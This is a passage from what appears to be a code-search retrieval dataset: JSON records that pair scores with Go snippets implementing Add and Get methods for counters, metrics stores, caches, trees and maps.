s.MetricsType,\n\t\t}\n\t\tf.Inspect(metricConvertedList.extract)\n\t\tconvertedMetricsForUID[i] = metricConvertedList\n\t}\n\t// We need to keep the store with UID as a key to handle the lifecycle of the objects and the metrics attached.\n\ts.mutex.Lock()\n\ts.metrics[o.GetUID()] = convertedMetricsForUID\n\ts.mutex.Unlock()\n\n\treturn nil\n}", "title": "" }, { "docid": "ff4d14abacdc2d767a217f2dde25302c", "score": "0.54348487", "text": "func Add(where, what string, value interface{}) Operation {\n\treturn &add{\n\t\twhere,\n\t\twhat,\n\t\tvalue,\n\t}\n}", "title": "" }, { "docid": "f8944a2601b119f0b483545439fa016e", "score": "0.5425289", "text": "func TestMetrics_Add(t *testing.T) {\n\tvar initial Metrics = []*Metric{{\n\t\tName: \"accuracy\",\n\t\tValue: 0.98,\n\t\tFormat: \"\",\n\t}}\n\n\tinitial.Add(&Metric{\n\t\tName: \"success\",\n\t\tValue: 1.0,\n\t\tFormat: \"%\",\n\t}, false)\n\n\tassert.Len(t, initial, 2)\n\n\tinitial.Add(&Metric{\n\t\tName: \"accuracy\",\n\t\tValue: 0.99,\n\t\tFormat: \"%\",\n\t}, false)\n\n\tassert.Len(t, initial, 3)\n\n\tinitial.Add(&Metric{\n\t\tName: \"accuracy\",\n\t\tValue: 0.99,\n\t\tFormat: \"%\",\n\t}, true)\n\n\tassert.Len(t, initial, 3)\n\tassert.True(t, initial[0].Value == 0.99)\n}", "title": "" }, { "docid": "b9d9db7479c159540916f43e44a8fc21", "score": "0.5408768", "text": "func (t *CollectorScheduler) Add(resourceRef resourceReference, typeName collector.MetricTypeName, metricCollector collector.Collector) {\n\tt.Lock()\n\tdefer t.Unlock()\n\n\tcollectors, ok := t.table[resourceRef]\n\tif !ok {\n\t\tcollectors = map[collector.MetricTypeName]context.CancelFunc{}\n\t\tt.table[resourceRef] = collectors\n\t}\n\n\tif cancelCollector, ok := collectors[typeName]; ok {\n\t\t// stop old collector\n\t\tcancelCollector()\n\t}\n\n\tctx, cancel := context.WithCancel(t.ctx)\n\tcollectors[typeName] = cancel\n\n\t// start runner for new collector\n\tgo collectorRunner(ctx, metricCollector, t.metricSink)\n}", "title": "" }, { "docid": "e71164968a443be381a81d736dd11bde", "score": "0.5400931", "text": "func (s *Stats) Add(data float64) {\n\ts.Count++\n\ts.sum += data\n\ts.sumsq += data * data\n}", "title": "" }, { "docid": "6f07267c0763ffe3ef9c55175fb72261", "score": "0.5400191", "text": "func (ac *ActionCounter) add(aa actionAddition) error {\n\tif aa.Time <= 0 {\n\t\treturn fmt.Errorf(\"non-positive time given to ActionCounter: %f\", aa.Time)\n\t}\n\t// Unlike reading, writing should lock as close to the write call as possible because\n\t// no interactions with given data happen after this point.\n\tac.DataStore.Lock()\n\terr := ac.DataStore.Add(aa.Action, aa.Time)\n\t// Using defer adds overhead unnecessarily when there's only one place to unlock.\n\tac.DataStore.Unlock()\n\treturn err\n}", "title": "" }, { "docid": "f1ce83aa9dd77bf54656ef75f45b5ba8", "score": "0.539748", "text": "func (e *Entity) AddMetric(metric metric.Metric) {\n\te.lock.Lock()\n\tdefer e.lock.Unlock()\n\n\te.Metrics = append(e.Metrics, metric)\n}", "title": "" }, { "docid": "0c20548b9b03fcd8c9b8e0541412b285", "score": "0.5391752", "text": "func (c *Collector) Add(key string, val Entry) {\n\tif c.memory.full() {\n\t\tc.mergeParitions()\n\t}\n\tc.memory.add(key, val)\n}", "title": "" }, { "docid": "0ad5e7f9327b69e51f3c175a5348a454", "score": "0.5385268", "text": "func (s *JMeterStat) Add(timeStamp int64, elapsed float64, connect float64,\n\tbytes float64, sentBytes float64,\n\tsuccess bool, responceCode string) *JMeterStat {\n\n\tif s.Started > timeStamp || s.Started == 0 {\n\t\ts.Started = timeStamp\n\t}\n\tif s.Ended < timeStamp {\n\t\ts.Ended = timeStamp\n\t}\n\n\ts.Elapsed.AddValue(elapsed)\n\ts.Connect.AddValue(connect)\n\n\ts.Bytes.AddValue(bytes)\n\ts.SentBytes.AddValue(sentBytes)\n\n\tif success {\n\t\ts.Success++\n\t\ts.SuccessCodes[responceCode]++\n\t} else {\n\t\ts.ErrorCodes[responceCode]++\n\t}\n\n\treturn s\n}", "title": "" }, { "docid": "6c5662c73b67fc8019bd34e042feb776", "score": "0.53708285", "text": "func (h *Hits) Add(dart *Dart) {\n\tif dart.IsTriple() {\n\t\th.Triples++\n\t} else if dart.IsDouble() {\n\t\th.Doubles++\n\t} else {\n\t\th.Singles++\n\t}\n\th.Total += int(dart.Multiplier)\n\n}", "title": "" }, { "docid": "8be4d9668df32a63691dcacb988b4507", "score": "0.53687257", "text": "func (i *InMemory) Add(key string, resource string, now time.Time) (int, error) {\n\tif !i.Has(key) {\n\t\treturn 0, fmt.Errorf(\"bucket %s not found\", key)\n\t}\n\thits := i.cache[key][resource]\n\tif hits == nil {\n\t\treturn 0, fmt.Errorf(\"resource %s not found\", resource)\n\t}\n\thits = append(hits, now)\n\ti.cache[key][resource] = hits\n\treturn len(hits), nil\n}", "title": "" }, { "docid": "0a34a99f6503b7cc9fdb4f83979501a1", "score": "0.53683984", "text": "func Add(data interface{}) error {\n\treturn dc.Add(data)\n}", "title": "" }, { "docid": "56b3e1cda3482515f1776df06c9200eb", "score": "0.5355542", "text": "func (c *CumulativeCollector) Add(val float64) {\n\tc.Lock()\n\tdefer c.Unlock()\n\n\tc.count += val\n}", "title": "" }, { "docid": "7bd7b041bc1d58a5fc8eea299df2f18c", "score": "0.5348041", "text": "func incrementMetric(v *expvar.Map, key interface{}) {\n\tswitch t := key.(type) {\n\tdefault:\n\t\tv.Add(\"other\", 1)\n\tcase string:\n\t\tv.Add(t, 1)\n\tcase syscall.Errno:\n\t\tv.Add(strconv.Itoa(int(t)), 1)\n\t}\n}", "title": "" }, { "docid": "99a0e2047cb57846a1535222737b6550", "score": "0.5332704", "text": "func (_m *Throttler) Add(key string, priority int32, creationTime time.Time) {\n\t_m.Called(key, priority, creationTime)\n}", "title": "" }, { "docid": "3ea5ca42998a4afebe8c962abc7d0b0c", "score": "0.533105", "text": "func (c *Counter) Add(v uint64) {\n\tif c == nil {\n\t\treturn\n\t}\n\n\tc.valueMutex.Lock()\n\tc.value += v\n\tc.valueMutex.Unlock()\n}", "title": "" }, { "docid": "99652d16d45934c3068cd2cfbb9e1c9b", "score": "0.5327046", "text": "func (plan *TestPlan) Add(testSuite *TestSuite) error {\n\tif _, exist := plan.SuiteMap[testSuite.Name]; exist {\n\t\tstr := fmt.Sprintf(\"Duplicate name %s found in test plan\", testSuite.Name)\n\t\tmqutil.Logger.Println(str)\n\t\treturn errors.New(str)\n\t}\n\tplan.SuiteMap[testSuite.Name] = testSuite\n\tplan.SuiteList = append(plan.SuiteList, testSuite)\n\treturn nil\n}", "title": "" }, { "docid": "ddbd4757b4d1807eb4f0090bc36a9348", "score": "0.53215593", "text": "func AddCaseHook(hookPoint boil.HookPoint, caseHook CaseHook) {\n\tswitch hookPoint {\n\tcase boil.BeforeInsertHook:\n\t\tcaseBeforeInsertHooks = append(caseBeforeInsertHooks, caseHook)\n\tcase boil.BeforeUpdateHook:\n\t\tcaseBeforeUpdateHooks = append(caseBeforeUpdateHooks, caseHook)\n\tcase boil.BeforeDeleteHook:\n\t\tcaseBeforeDeleteHooks = append(caseBeforeDeleteHooks, caseHook)\n\tcase boil.BeforeUpsertHook:\n\t\tcaseBeforeUpsertHooks = append(caseBeforeUpsertHooks, caseHook)\n\tcase boil.AfterInsertHook:\n\t\tcaseAfterInsertHooks = append(caseAfterInsertHooks, caseHook)\n\tcase boil.AfterSelectHook:\n\t\tcaseAfterSelectHooks = append(caseAfterSelectHooks, caseHook)\n\tcase boil.AfterUpdateHook:\n\t\tcaseAfterUpdateHooks = append(caseAfterUpdateHooks, caseHook)\n\tcase boil.AfterDeleteHook:\n\t\tcaseAfterDeleteHooks = append(caseAfterDeleteHooks, caseHook)\n\tcase boil.AfterUpsertHook:\n\t\tcaseAfterUpsertHooks = append(caseAfterUpsertHooks, caseHook)\n\t}\n}", "title": "" }, { "docid": "402de3f3be1993c9b706fe6cc9bd5833", "score": "0.53200084", "text": "func Add(key string, val interface{}) {\n\tcontext[key] = val\n}", "title": "" }, { "docid": "05506daecc69ec8b994902ba0ee9d07d", "score": "0.5293704", "text": "func (s *Statistic) Add(x float64) {\n\ts.sum += x\n\ts.squared += x * x\n\ts.n++\n}", "title": "" }, { "docid": "2b16260da12223f1e0fd2f125cab27e5", "score": "0.5286369", "text": "func (result Result) Add(key string, value interface{}, prefix string, upperCase bool) {\n\tresult[ToUpperOrNotToUpper(fmt.Sprintf(\"%s%s\", prefix, key), &upperCase)] = value\n}", "title": "" }, { "docid": "36ec045869479ac8c01c5d04223d5394", "score": "0.528615", "text": "func (dt *Stats) Add(val float64) {\n\tdt.data = append(dt.data, val)\n}", "title": "" }, { "docid": "259ea99a2fa73bb41c874fdad18a843a", "score": "0.52831", "text": "func (c Count) Add(v float64) Count {\n\tc.Value += v\n\treturn c\n}", "title": "" }, { "docid": "9bb4012792b9786215a549cd976dacf9", "score": "0.5281012", "text": "func (r *Trunner) doAdd(nv NamedVal64) {\n\tvar (\n\t\ts = r.Core\n\t\tname = nv.Name\n\t\tvalue = nv.Value\n\t)\n\n\tv, ok := s.Tracker[name]\n\tcmn.AssertMsg(ok, \"Invalid stats name '\"+name+\"'\")\n\n\t// most target stats can be handled by CoreStats.doAdd\n\t// stats that track data IO are unique to target and are handled here\n\t// .size stats, as of 2.x and beyond, is one of them\n\tif !strings.HasSuffix(name, \".size\") {\n\t\ts.doAdd(name, nv.NameSuffix, value)\n\t\treturn\n\t}\n\n\t// target only suffix\n\tnroot := strings.TrimSuffix(name, \".size\")\n\tmetricType := statsd.Counter\n\n\tif nroot == \"dl\" {\n\t\tmetricType = statsd.PersistentCounter\n\t}\n\n\ts.statsdC.Send(nroot, 1,\n\t\tmetric{Type: metricType, Name: \"bytes\", Value: value},\n\t\tmetric{Type: metricType, Name: \"count\", Value: 1},\n\t)\n\n\tv.Lock()\n\tv.Value += value\n\tv.Unlock()\n}", "title": "" }, { "docid": "17dd1775cce1e3b70bff3b3abd7184d8", "score": "0.5275403", "text": "func (p *Prom) Add(name string, v int64, extra ...string) {\n\tlabel := append([]string{name}, extra...)\n\tif p.counter != nil {\n\t\tp.counter.WithLabelValues(label...).Add(float64(v))\n\t}\n\n\tif p.state != nil {\n\t\tp.state.WithLabelValues(label...).Add(float64(v))\n\t}\n}", "title": "" }, { "docid": "ad09f56d6bf29816930cb62a71252a2f", "score": "0.52723867", "text": "func (v *Map) Add(key string, delta int64) {}", "title": "" }, { "docid": "fe7bec7d10bb46268ee9fd3048b37c5a", "score": "0.52669436", "text": "func (_m *Gauge) Add(_a0 float64) {\n\t_m.Called(_a0)\n}", "title": "" }, { "docid": "ed5590e010fd2ab27c77d9856d8408a9", "score": "0.52652675", "text": "func (r *OfficeGraphInsightsUsedCollectionRequest) Add(ctx context.Context, reqObj *UsedInsight) (resObj *UsedInsight, err error) {\n\terr = r.JSONRequest(ctx, \"POST\", \"\", reqObj, &resObj)\n\treturn\n}", "title": "" }, { "docid": "47774e1907b9dda3d8c87e7a82170df2", "score": "0.5262056", "text": "func (r *IPRecord) AddHit() {\n\tr.Hits++\n}", "title": "" }, { "docid": "78150b7b6a56ab3577cf82c13a39f713", "score": "0.5261079", "text": "func (t *Throttle) Add(key string, threshold int, unitTime time.Duration, maxWaitTime time.Duration) {\n\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tr, ok := t.rateLimiters[key]\n\tif !ok {\n\t\tt.rateLimiters[key] = &rateLimiter{\n\t\t\tkey: key,\n\t\t\tthreshold: threshold,\n\t\t\tunitTime: unitTime,\n\t\t\tmaxWaitTime: maxWaitTime,\n\t\t}\n\n\t\treturn\n\t}\n\n\tt.updateRateLimiter(r, threshold, unitTime, maxWaitTime)\n}", "title": "" }, { "docid": "ac35e15b4fef9703b8da110c61d3095a", "score": "0.52495486", "text": "func addCase(r *http.Request) (string) {\n\toutput := \"\"\n\n\n\t// ========== ========== ========== ========== ==========\n\t// New Context - opaque value used by many functions in the Go App Engine SDK to communicate with the App Engine service\n\t// [START new_context]\n\t//ctx := appengine.NewContext(r) // c or ctx\n\t// [END new_context]\n\t// ========== ========== ========== ========== ==========\n\n\n\n\n\n return output\n}", "title": "" }, { "docid": "f88a0723c4ad12c67b5b9090201e0a67", "score": "0.5245779", "text": "func (me *Group) Add(key string, value interface{}) {\n\tme.lock.Lock()\n\tme.numProcessingJob++\n\tif me.numProcessingJob == 1 {\n\t\tme.barrier.Lock()\n\t}\n\tme.lock.Unlock()\n\tme.mgr.addJob(me.id, key, value)\n}", "title": "" }, { "docid": "e087234700c182802f961d76689a7346", "score": "0.5244699", "text": "func (p *PrintStats) Add(t string) {\n\tgo p.Count.Add(t, 1)\n}", "title": "" }, { "docid": "ff92def9825d61383a753689d15a153b", "score": "0.52320534", "text": "func (mc *MetricController) GaugeAdd(desc, metric string, tags []string, value float64) {\n\tmc.getOrCreateGauge(desc, metric, tags).Add(value)\n}", "title": "" }, { "docid": "ad0d665911be6acf82f0e7e37d097baa", "score": "0.52266556", "text": "func (s *Writer) Add(ctx context.Context, metric string,\n\tvalue float64, id []byte) {\n\n\t// skip problematic floating point values\n\tif math.IsInf(value, 0) || math.IsNaN(value) {\n\t\treturn\n\t}\n\n\t// load up the page pointer, allocating a fresh page if there isn't one.\n\tvar pi unsafe.Pointer\n\tfor {\n\t\tpi = atomic.LoadPointer(&s.page)\n\t\tif pi != nil {\n\t\t\tbreak\n\t\t}\n\n\t\t// if we don't have a page, we attempt to compare and swap it with a\n\t\t// newly allocated page.\n\t\tpi = unsafe.Pointer(newPage(time.Now()))\n\t\tif atomic.CompareAndSwapPointer(&s.page, nil, pi) {\n\t\t\tbreak\n\t\t}\n\t}\n\tp := (*page)(pi)\n\n\t// TODO(jeff): there is a race here where we can lose writes: if someone\n\t// is calling Capture and that finishes and sets a new page, a call to\n\t// Add may use an agg on a page that will no longer be Captured.\n\t// Callers may work around this by ensuring no concurrent calls to Add\n\t// and Capture, but the data loss is probably acceptable.\n\n\tai, ok := p.m.Load(metric)\n\tif !ok {\n\t\t// we use LoadOrStore here to avoid a mutex at the cost of wasted\n\t\t// allocations for losers during contention.\n\t\tai, _ = p.m.LoadOrStore(metric, newAgg(s.params, p.now))\n\t}\n\ta := ai.(*agg)\n\n\ta.Observe(value, id)\n}", "title": "" }, { "docid": "d815aafafef6e00038236a11b68bf21a", "score": "0.5226598", "text": "func (fm *FlowMetric) Add(m common.Metric) common.Metric {\n\tf2 := m.(*FlowMetric)\n\n\treturn &FlowMetric{\n\t\tABBytes: fm.ABBytes + f2.ABBytes,\n\t\tBABytes: fm.BABytes + f2.BABytes,\n\t\tABPackets: fm.ABPackets + f2.ABPackets,\n\t\tBAPackets: fm.BAPackets + f2.BAPackets,\n\t\tStart: fm.Start,\n\t\tLast: fm.Last,\n\t}\n}", "title": "" }, { "docid": "65f876307b7f92d7a4dcffb0580f9c82", "score": "0.52130497", "text": "func AddNewCaseOutput(outputLines []string,\n\tcaseName string,\n\tmetaData config.EgorMeta) (config.EgorMeta, error) {\n\n\toutputFileName := caseName + \".ans\"\n\terr := writeLinesToFile(path.Join(\"outputs\", outputFileName), outputLines)\n\tif err != nil {\n\t\treturn metaData, err\n\t}\n\toutputFile := config.NewIoFile(caseName, path.Join(\"outputs\", outputFileName), true)\n\tmetaData.Outputs = append(metaData.Outputs, outputFile)\n\n\treturn metaData, nil\n}", "title": "" }, { "docid": "952cec1227e01f54590b95a05b609550", "score": "0.5206323", "text": "func (me *Context) Add(key string, value interface{}) *Context {\n\t(*me)[key] = value\n\n\treturn me\n}", "title": "" }, { "docid": "e3dc2ca64322016f1f9ffcf107162e6b", "score": "0.5199724", "text": "func AddNewCaseInput(inputLines []string,\n\tcaseName string,\n\tmetaData config.EgorMeta) (config.EgorMeta, error) {\n\n\tinputFileName := caseName + \".in\"\n\terr := writeLinesToFile(path.Join(\"inputs\", inputFileName), inputLines)\n\tif err != nil {\n\t\treturn metaData, err\n\t}\n\tinputFile := config.NewIoFile(caseName, path.Join(\"inputs\", inputFileName), true)\n\tmetaData.Inputs = append(metaData.Inputs, inputFile)\n\n\treturn metaData, nil\n}", "title": "" }, { "docid": "916455bb33f932ef50b04f4423e1646c", "score": "0.5189372", "text": "func (c *SafeCounter) Add(key int) {\n\tc.mux.Lock()\n\t// Lock so only one goroutine at a time can access the map c.v.\n\tc.v[key] = true\n\tc.mux.Unlock()\n}", "title": "" }, { "docid": "34b66ef5e09d92bb7af03119adea3a08", "score": "0.51820284", "text": "func (c *Criteria) Add(field, operator string, value interface{}) *Criteria {\n\t*c = append(*c, NewCriterion(field, operator, value).ToInterface())\n\treturn c\n}", "title": "" }, { "docid": "8fc4e2cb5b18b6208e8b7f19c53f4b8f", "score": "0.5179239", "text": "func Add(key int64, val string) {\n\tmux.Lock()\n\tdefer mux.Unlock()\n\tm[key] = val\n}", "title": "" }, { "docid": "83bfd3fccfa20325c61f5ee45a96b89c", "score": "0.5172539", "text": "func (h *histogram) addMeasurement(value int64) {\n\t// TODO: assert invariant\n\th.sum += value\n\th.sumOfSquares += float64(value) * float64(value)\n\n\tbucketIndex := getBucket(value)\n\n\tif h.valueCount == 0 || (h.valueCount > 0 && h.value == bucketIndex) {\n\t\th.value = bucketIndex\n\t\th.valueCount++\n\t} else {\n\t\th.allocateBuckets()\n\t\th.buckets[bucketIndex]++\n\t}\n}", "title": "" }, { "docid": "088791ec769cbccc4824c2d4588358e4", "score": "0.5172126", "text": "func (s *Saga) Add(action string, compensate string, postData interface{}) *Saga {\n\ts.Steps = append(s.Steps, map[string]string{\"action\": action, \"compensate\": compensate})\n\ts.Payloads = append(s.Payloads, dtmimp.MustMarshalString(postData))\n\treturn s\n}", "title": "" }, { "docid": "5046d6af6f1018150d44eadc3118d3d7", "score": "0.51690114", "text": "func (this AlarmManager) Add(alarmType int, err error, format string, a ...interface{}) {\n\ttitle := fmt.Sprintf(format, a...)\n\tif _, ok := this.mapping[title]; ok {\n\t\t// skip exist title\n\t\treturn\n\t}\n\tlogger.Info(title)\n\tthis.Alarms[strconv.Itoa(*this.index)] = Alarm{title, err.Error(), alarmType, time.Now()}\n\tthis.mapping[title] = strconv.Itoa(*this.index)\n\t(*this.index)++\n}", "title": "" }, { "docid": "176409b6b49d52256569b093cd3f49b2", "score": "0.5163604", "text": "func (m *manager) Add(ctx context.Context, plan *config.Plan) error {\n\tm.planMu.Lock()\n\tdefer m.planMu.Unlock()\n\tm.plans[plan.Name] = plan\n\treturn nil\n}", "title": "" }, { "docid": "7500cc96b5b816510b053f9c3e3e65c6", "score": "0.516211", "text": "func (c *ContextSeverity) Add(s Severity) {\n\tc.logged = append(c.logged, s)\n}", "title": "" }, { "docid": "3ef6395631a2673a9f0c6e668222cc17", "score": "0.51554734", "text": "func (c *AggregatedCount) Increase(val float64) {\n\tif nil == c {\n\t\treturn\n\t}\n\tif val < 0 {\n\t\treturn\n\t}\n\n\th := c.harvester\n\tif nil == h {\n\t\treturn\n\t}\n\n\th.lock.Lock()\n\tdefer h.lock.Unlock()\n\n\tif err := isFloatValid(val); err != nil {\n\t\th.config.logError(map[string]interface{}{\n\t\t\t\"message\": \"invalid aggregated count value\",\n\t\t\t\"err\": err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tm := h.findOrCreateMetric(c.metricIdentity)\n\tif nil == m.c {\n\t\tm.c = &Count{\n\t\t\tName: c.Name,\n\t\t\tAttributesJSON: json.RawMessage(c.attributesJSON),\n\t\t}\n\t}\n\tm.c.Value += val\n}", "title": "" }, { "docid": "ca2271d7a9a51902af7cfd4365f82cfb", "score": "0.5150371", "text": "func (s *MeterDefinitionStore) Add(obj interface{}) error {\n\tkey, err := s.keyFunc(obj)\n\n\tif err != nil {\n\t\ts.log.Error(err, \"cannot create a key\")\n\t\treturn err\n\t}\n\n\tif err := s.objectsSeen.Add(obj); err != nil {\n\t\ts.log.Error(err, \"cannot add object seen\")\n\t}\n\n\tlogger := s.log.WithValues(\"func\", \"add\", \"namespace/name\", key).V(4)\n\tlogger.Info(\"adding object\", \"type\", fmt.Sprintf(\"%T\", obj))\n\n\t// look over all meterDefinitions, matching workloads are saved\n\tresults := []filter.Result{}\n\n\terr = s.dictionary.FindObjectMatches(obj, &results, false)\n\tif err != nil {\n\t\tlogger.Error(err,\n\t\t\t\"failed to find object matches\",\n\t\t\terrors.GetDetails(err)...)\n\t\treturn err\n\t}\n\n\tif len(results) == 0 {\n\t\tlogger.Info(\"no results returned\")\n\t\treturn nil\n\t}\n\n\tmeterDefs := []v1beta1.MeterDefinition{}\n\n\tfor _, result := range results {\n\t\tif !result.Ok {\n\t\t\tlogger.Info(\"no match\", \"obj\", obj)\n\t\t\tcontinue\n\t\t}\n\n\t\tmdef := *result.Lookup.MeterDefinition\n\t\tlogger.Info(\"result\", \"name\", mdef.GetName())\n\t\tmeterDefs = append(meterDefs, mdef)\n\t}\n\n\tif len(meterDefs) == 0 {\n\t\tlogger.Info(\"no matched meterdefs returned\")\n\t\treturn nil\n\t}\n\n\tlogger.Info(\"return meterdefs results\", \"len\", len(meterDefs))\n\tmdefObj, err := newMeterDefinitionExtended(obj)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmdefObj.MeterDefinitions = meterDefs\n\n\ts.Lock()\n\tdefer s.Unlock()\n\n\tif err := s.delta.Add(mdefObj); err != nil {\n\t\tlogger.Error(err, \"failed to add to delta store\")\n\t\treturn err\n\t}\n\n\tif err := s.indexStore.Add(mdefObj); err != nil {\n\t\tlogger.Error(err, \"failed to add to index store\")\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "904252dfdf29c2dffe1d19bc10b70307", "score": "0.51406693", "text": "func (r *PCPRegistry) AddMetric(m Metric) error {\n\tif r.mapped {\n\t\treturn errors.New(\"cannot add a metric when a mapping is active\")\n\t}\n\n\tif r.HasMetric(m.Name()) {\n\t\treturn errors.New(\"metric is already defined for the current registry\")\n\t}\n\n\tpcpm := m.(PCPMetric)\n\n\t// if it is an indom metric\n\tif pcpm.Indom() != nil && !r.HasInstanceDomain(pcpm.Indom().Name()) {\n\t\terr := r.AddInstanceDomain(pcpm.Indom())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tr.metricslock.Lock()\n\tdefer r.metricslock.Unlock()\n\n\tr.addMetric(pcpm)\n\treturn nil\n}", "title": "" }, { "docid": "7070d19db8fbc5363f0b7938d21bf4e3", "score": "0.5138919", "text": "func (c *Context) Add(name string, value interface{}) *Context {\n\treturn c.SetField(Any(name, value))\n}", "title": "" }, { "docid": "dfec59b4096ef1ff13569442ad1c6eac", "score": "0.5133244", "text": "func (c *TeamClient) Add(ctx context.Context, name EntryName) error {\n\n\tvar tx store.Transaction = func(tc context.Context) error {\n\n\t\tentry, err := c.getEntry(ctx, name)\n\t\tif err != nil {\n\n\t\t\tif err != datastore.ErrNoSuchEntity {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tentry = &Entry{Name: name.String(), Score: 1}\n\t\t}\n\n\t\tentry.Score += 1\n\n\t\treturn c.putEntry(ctx, entry)\n\t}\n\n\treturn c.runTransaction(ctx, tx)\n}", "title": "" }, { "docid": "6109a263352228f8a7e315b0b9032c86", "score": "0.51325953", "text": "func (eval *evaluator) Add(op0, op1 Operand, ctOut *Ciphertext) {\n\tel0, el1, elOut := eval.getElemAndCheckBinary(op0, op1, ctOut, utils.MaxInt(op0.Degree(), op1.Degree()), true)\n\teval.evaluateInPlaceBinary(el0, el1, elOut, eval.ringQ.Add)\n}", "title": "" }, { "docid": "2feea6874c60b2950c0eadb2ec29edde", "score": "0.5132314", "text": "func AddSample(key string, value float64) {\n\tstd.AddSample(key, value)\n}", "title": "" }, { "docid": "5a89c8a378839aceb9aed662a736a556", "score": "0.5132088", "text": "func (c Counter[T]) Add(key T) bool {\n\tvalue, exists := c[key]\n\tc[key] = value + 1\n\treturn !exists\n}", "title": "" }, { "docid": "86f2ad8e94e196050c2587c50e41f203", "score": "0.51320446", "text": "func (es Rates) Add(v int64) {\n\tes.Counter.Inc(v)\n\tfor _, e := range es.Rates {\n\t\te.Add(float64(v))\n\t}\n}", "title": "" }, { "docid": "681a4c73e3e147539e24dc577ccc0162", "score": "0.5130044", "text": "func (e *Rate) Add(v float64) {\n\te.mu.Lock()\n\tmaybeTick(e)\n\te.curSum += v\n\te.mu.Unlock()\n}", "title": "" }, { "docid": "0f1f2db96198aae3ffdab656525dd6b9", "score": "0.5129383", "text": "func (rs *RandomStats) Add(v interface{}) {\n\trs.CTotal++\n\trs.Total++\n\n\tif v.(bool) {\n\t\trs.CGoodCount++\n\t\trs.GoodCount++\n\t} else {\n\t\trs.CBadCount++\n\t\trs.BadCount++\n\t}\n\n\trs.CRatio = float64(rs.CGoodCount) / float64(rs.CTotal)\n\trs.Ratio = float64(rs.GoodCount) / float64(rs.Total)\n}", "title": "" }, { "docid": "4de407dddf4024c1337a5fea213faa1b", "score": "0.51292974", "text": "func (r *GraphServiceActivitystatisticsCollectionRequest) Add(ctx context.Context, reqObj *ActivityStatistics) (resObj *ActivityStatistics, err error) {\n\terr = r.JSONRequest(ctx, \"POST\", \"\", reqObj, &resObj)\n\treturn\n}", "title": "" }, { "docid": "a9ffda49a5dfc5261e332bd6aec6269c", "score": "0.5121948", "text": "func (m *Monitoring) AddPerfdata(label string, value int, unit string) error {\n\tlog.Debugf(\"Label: %s, Value: %d, Unit: %s\", label, value, unit)\n\n\tperfdata, err := NewPerfdata(label, value, unit)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error appear when tryp to create new perfdata\")\n\t}\n\n\tm.perfdatas = append(m.perfdatas, perfdata)\n\n\treturn nil\n}", "title": "" }, { "docid": "81ad6af120e5041505a38b225c6b43c3", "score": "0.51210177", "text": "func (aud *Auditor) Add(rtype string, fn checker) {\n\tif aud.checksFor == nil {\n\t\taud.checksFor = map[string][]checker{}\n\t}\n\taud.checksFor[rtype] = append(aud.checksFor[rtype], fn)\n\n\t// SPF records get any checkers that TXT records do.\n\tif rtype == \"TXT\" {\n\t\taud.Add(\"SPF\", fn)\n\t}\n}", "title": "" } ]
2024d318b9fe0860cac45236db55ac02
Get finds value for key. Returns nil if not found.
[ { "docid": "dcd0cfbdcaa0369574b99ea6aabf0477", "score": "0.6700723", "text": "func (m *StrMap) Get(key string) interface{} {\n\tv := StrKeyValue{StrValue{strHash(key), key}, nil}\n\tv2 := m.m.Lookup(v.H, &v)\n\tif v2 != nil {\n\t\treturn v2.(*StrKeyValue).V\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "3901c572b108cb51ba9f1b1a4d5c89df", "score": "0.7660392", "text": "func (t *RBTree) Get(key interface{}) interface{} {\n\tn := t.find(key)\n\tif n == nil {\n\t\treturn nil\n\t}\n\treturn n.v\n}", "title": "" }, { "docid": "530d18124f085655a781ba926d8b37e2", "score": "0.761251", "text": "func (this *Shared) Get(key string) (*Result) {\n\tthis.RLock()\n\tdefer this.RUnlock()\n\tif v, ok := this.values[key]; ok {\n\t\treturn v.Get()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8965c4523b9fca6d1c757e6b12404b67", "score": "0.7503713", "text": "func (sl *List) Get(k string) interface{} {\n\tif n := sl.find(k); n.k == k {\n\t\treturn n.v\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4b592f0a3b94d9a0684543653352e68e", "score": "0.7404114", "text": "func (t *Tree) Get(key string) []byte {\n\tfound := search(key, t.root)\n\tif found == nil {\n\t\treturn nil\n\t}\n\treturn found.Value\n}", "title": "" }, { "docid": "adc4795f8f26665422c19608a6125dfb", "score": "0.7402804", "text": "func Get(key string) interface{} {\n\tmutex.Lock()\n\tentry := cache[key]\n\tmutex.Unlock()\n\tif entry == nil {\n\t\treturn nil\n\t}\n\treturn entry.value\n}", "title": "" }, { "docid": "1bfb99a9b7ea90502ce2e69800adec8a", "score": "0.7383869", "text": "func (mm *MultiMap[K, V]) Get(key K) (V, error) {\n\tmm.locker.RLock()\n\tdefer mm.locker.RUnlock()\n\n\tnode := mm.tree.FindNode(key)\n\tif node != nil {\n\t\treturn node.Value(), nil\n\t}\n\treturn *new(V), ErrorNotFound\n}", "title": "" }, { "docid": "0dbc823612a7db6c200bb29f9c0b42fd", "score": "0.7373769", "text": "func (tree *RedBlackTree) Get(key interface{}) (value interface{}) {\n\tvalue, _ = tree.Search(key)\n\treturn\n}", "title": "" }, { "docid": "38635b37b8bf3463412d5e48698b687d", "score": "0.7364966", "text": "func (m *Map) Get(key string) interface{} {\n\ti := m.hash(key, m.capasity)\n\tli := m.index[i]\n\tif li == nil {\n\t\treturn nil\n\t}\n\n\tli.Reset()\n\tnode := li.Next()\n\n\tfor node != nil {\n\t\tle := node.(*ListElement)\n\t\tif le.key == key {\n\t\t\treturn le.val\n\t\t}\n\n\t\tnode = li.Next()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "07ce1d697870c021fc41001671a432d7", "score": "0.71687734", "text": "func (r *RbTree) Get(key int) interface{} {\n\tn, _ := seek(key, r.Root, nil)\n\tif IsLeaf(n) {\n\t\treturn nil\n\t}\n\treturn n.Entry.Value\n}", "title": "" }, { "docid": "e52380c808be96b30d069fd79ab94123", "score": "0.7162025", "text": "func (t *Tree) Get(key []byte) (interface{}, error) {\n\tif len(key) == 0 {\n\t\treturn nil, ErrInvalidKey\n\t}\n\tbits := bitset(key)\n\n\tcur := t.root\n\tfor i := 0; i < bits.BitLen(); i++ {\n\t\tchild := 